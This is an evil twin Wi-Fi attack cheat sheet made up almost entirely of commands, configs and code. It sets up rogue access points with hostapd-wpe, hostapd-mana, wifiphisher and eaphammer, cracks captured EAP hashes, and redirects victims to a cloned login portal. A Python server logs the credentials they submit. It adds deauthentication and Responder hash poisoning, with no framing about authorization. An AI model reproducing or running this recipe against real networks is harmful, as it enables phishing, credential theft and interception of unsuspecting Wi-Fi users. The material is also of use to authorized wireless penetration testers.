Evil Twin Attack

git clone https://github.com/OpenSecurityResearch/hostapd-wpe
sudo apt-get install libssl-dev libnl-genl-3-dev
wget https://w1.fi/releases/hostapd-2.6.tar.gz
tar -zxf hostapd-2.6.tar.gz
cd hostapd-2.6
patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
cd hostapd
# On Kali 2.0+, uncomment CONFIG_LIBNL32=y in .config first
make

# Generate the WPE certificates
cd ../../hostapd-wpe/certs
sudo ./bootstrap

interface=wlan0
ssid=CorpWiFi
channel=6
hw_mode=g
wpa=2
wpa_key_mgmt=WPA-EAP
rsn_pairwise=CCMP
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_users
ca_cert=/etc/hostapd-wpe/ca.pem
server_cert=/etc/hostapd-wpe/server.pem
private_key=/etc/hostapd-wpe/server.key

# hostapd-wpe writes John-the-Ripper NETNTLM hashes to stdout and hostapd-wpe.log
john --format=netntlm hostapd-wpe.log

# EAP-FAST / MSCHAP (v1) challenge-response pair with asleap
asleap -C <challenge> -R <response> -W /usr/share/wordlists/rockyou.txt

interface=wlan1
driver=nl80211
ssid=FreeWiFi
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
wpa=0

# Install hostapd-mana
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana
make

# Configure MANA mode
cat > mana.conf << 'EOF'
interface=wlan1
ssid=FreeWiFi
channel=6
hw_mode=g

# MANA settings
enable_mana=1
mana_loud=1          # Broadcast beacons for all probed SSIDs
mana_macacl=0        # Don't filter by MAC
enable_karma=1       # Respond to directed probes

# Log all captured probes and associations
mana_outfile=/tmp/mana-creds.log
EOF

sudo ./hostapd-mana mana.conf

# Wifiphisher combines MANA with templated phishing pages
sudo apt install wifiphisher

# Auto-select target and launch phishing portal
sudo wifiphisher

# Target specific AP with firmware update phishing template
sudo wifiphisher -aI wlan0 -eI wlan1 \
  --essid CorpWiFi -p firmware-upgrade

# Available phishing scenarios:
#   firmware-upgrade   — fake router update page
#   oauth-login        — Google/Facebook style login
#   wifi-connect       — re-enter WiFi password
#   plugin_update      — browser plugin update

# Complete credential harvesting stack:
#
#   Client ──WiFi──> [Evil Twin AP]  ──iptables──> [dnsmasq]
#                                                      │
#                                          DNS: * → 192.168.1.1
#                                                      │
#                                                  [nginx/Apache]
#                                                      │
#                                              Captive Portal Page
#                                              (cloned login page)
#                                                      │
#                                              Credentials → log file

# Step 1: Redirect all HTTP/HTTPS to portal
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Step 2: dnsmasq — resolve everything to portal IP
# address=/#/192.168.1.1  (already in dnsmasq.conf)

# Step 3: Start a simple credential capture server
python3 << 'PYEOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse, datetime

class PortalHandler(SimpleHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length).decode()
        params = urllib.parse.parse_qs(body)
        ts = datetime.datetime.now().isoformat()
        with open('/tmp/creds.log', 'a') as f:
            f.write(f'{ts} | {self.client_address[0]} | {params}\n')
        self.send_response(302)
        self.send_header('Location', 'http://connectivitycheck.gstatic.com/generate_204')
        self.end_headers()

HTTPServer(('0.0.0.0', 8080), PortalHandler).serve_forever()
PYEOF

# Clone a target's captive portal for realistic phishing
# Use wget to mirror the login page
wget --mirror --convert-links --page-requisites \
  --no-parent https://login.targetcorp.com/wifi-auth/ \
  -P portal-clone/

# Or use httrack for more complex sites
httrack https://login.targetcorp.com/wifi-auth/ \
  -O portal-clone -r2 -%v

# Modify the form action to point to your capture endpoint
# Change: <form action="https://login.targetcorp.com/auth">
# To:     <form action="http://192.168.1.1:8080/capture" method="POST">

# Install eaphammer (build from source)
git clone https://github.com/s0lst1c3/eaphammer.git
cd eaphammer
./kali-setup

# Hostile portal — serves phishing page after client connects
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --hostile-portal

# Hostile portal with custom HTML template
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi \
  --hostile-portal --portal-template /path/to/cloned-login/

# Known beacons — broadcast common SSIDs to attract more clients
# ("attwifi", "xfinitywifi", "NETGEAR", etc.)
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds --known-beacons

# ESSID-less mode — respond to ALL probes like MANA/Karma
./eaphammer -i wlan0 --channel 6 --negotiate gtc-downgrade \
  --creds --known-beacons

# Simultaneous deauth from second adapter
# This pushes clients from real AP to your rogue AP
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds \
  --deauth-iface wlan1mon

# Once clients connect to the evil twin, use Responder
# to capture NTLMv2 hashes from Windows devices

# Terminal 1: Run evil twin
./eaphammer -i wlan0 --channel 6 --essid CorpWiFi --creds

# Terminal 2: Run Responder on the AP interface
sudo responder -I wlan0 -wrf

# Windows clients will attempt LLMNR/NBT-NS resolution
# Responder poisons these and captures NTLMv2 hashes
# Crack with hashcat -m 5600 (NTLMv2)